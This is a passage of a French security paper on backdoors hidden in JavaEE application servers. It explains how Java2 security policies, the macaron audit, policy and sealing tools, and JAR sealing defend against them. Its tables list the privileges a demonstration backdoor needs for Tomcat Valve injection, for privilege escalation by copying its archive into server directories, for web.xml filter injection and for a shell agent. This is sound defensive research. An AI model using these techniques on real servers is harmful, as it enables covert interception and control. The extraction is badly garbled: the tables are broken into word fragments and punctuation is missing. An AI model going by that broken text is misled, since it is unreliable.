Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

